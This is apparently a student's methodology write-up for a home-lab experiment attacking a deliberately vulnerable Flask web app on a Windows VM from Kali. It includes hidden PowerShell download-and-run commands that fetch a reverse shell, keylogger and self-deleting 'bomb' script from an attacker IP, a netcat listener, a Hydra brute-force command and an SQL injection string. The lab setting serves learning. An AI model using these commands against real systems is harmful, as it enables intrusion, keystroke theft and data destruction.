Trenton Jones
12/2/2024
Mrs.Canedo

Methodology for Experiment

Abstract

This experiment investigates the vulnerabilities of a web application by hosting it on a Windows 10 virtual machine. The application contains multiple security flaws, including SQL injection, DDoS, brute force, XSS, and RCE vulnerabilities. By exploiting these vulnerabilities, the experiment aims to demonstrate the potential risks and impacts of such security issues. The methodology involves using various tools and techniques to identify and exploit these vulnerabilities, providing a comprehensive understanding of the security weaknesses in web applications.

Methodology for Experiment

Requirements:

- Kali VM
- Another VM to host the application (Windows)
- A virtual network connecting the two

Challenges:

- Setting up the project
- Writing unfamiliar code
- Manually using exploits
- Learning and properly using the exploits

Some Scripts Needed:

-
  ```
  nc -nlvp 4444
  ```

-
  ```
  python3 -m http.server 80
  ```

-
  ```
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "(New-Object Net.WebClient).DownloadFile('http://192.168.87.249/reverse_shell.py', 'reverse_shell.py'); python reverse_shell.py"
  ```

-
  ```
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "(New-Object Net.WebClient).DownloadFile('http://192.168.87.249/keylogger.py', 'keylogger.py'); python keylogger.py"
  ```

- `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "(New-Object Net.WebClient).DownloadFile('http://192.168.87.249/bomb.py', 'bomb.py'); python bomb.py"`
- `nikto -h http://192.168.1.230:5000`
- `curl http://192.168.1.230:5000`
- `nmap -p -Pn 5000 192.168.1.230`
- `hydra -L usernamesList.txt -P passwordList.txt 192.168.1.230 -s 5000 http-post-form "/login:uname=^USER^&pwd=^PASS^:F=incorrect" -V -o hydra_success.txt -F`
- `' OR 1=1 AND username='Mary Moore' --`

Experiment Steps:

1. **Setup:**
   - Utilize a Windows 10 virtual machine to host an application with various vulnerabilities.
   - Connect the Windows VM and Kali VM through a virtual network.
2. **Initial Scanning:**
   - Use Nmap on the Kali machine to scan the network and enumerate processes running on the machine from open ports.
   - Run another scan to gather information about the operating system.
3. **Website Inspection:**
   - Use the curl command to inspect the HTML of the website.
   - Employ Nikto to understand the application, discovering it uses a Python backend and runs a Flask app.
4. **Identifying Vulnerabilities:**
   - Identify fields like `uname` and `pwd` that seem to be values pushed to the backend code.
   - Use Hydra to brute force the passwords, revealing the website lacks protections.
5. **Exploiting Vulnerabilities:**
   - Once credentials are acquired, collect data from the accounts.
   - Perform attacks such as XSS and RCE to implant malicious code in the image box and comment box in the Blog Page..
   - Use scripts like `bomb.py` and `reverse_shell.py` to create a connection from the victim to the host. The `bomb.py` script activates if the reverse shell is deleted, deleting the application, database, and itself.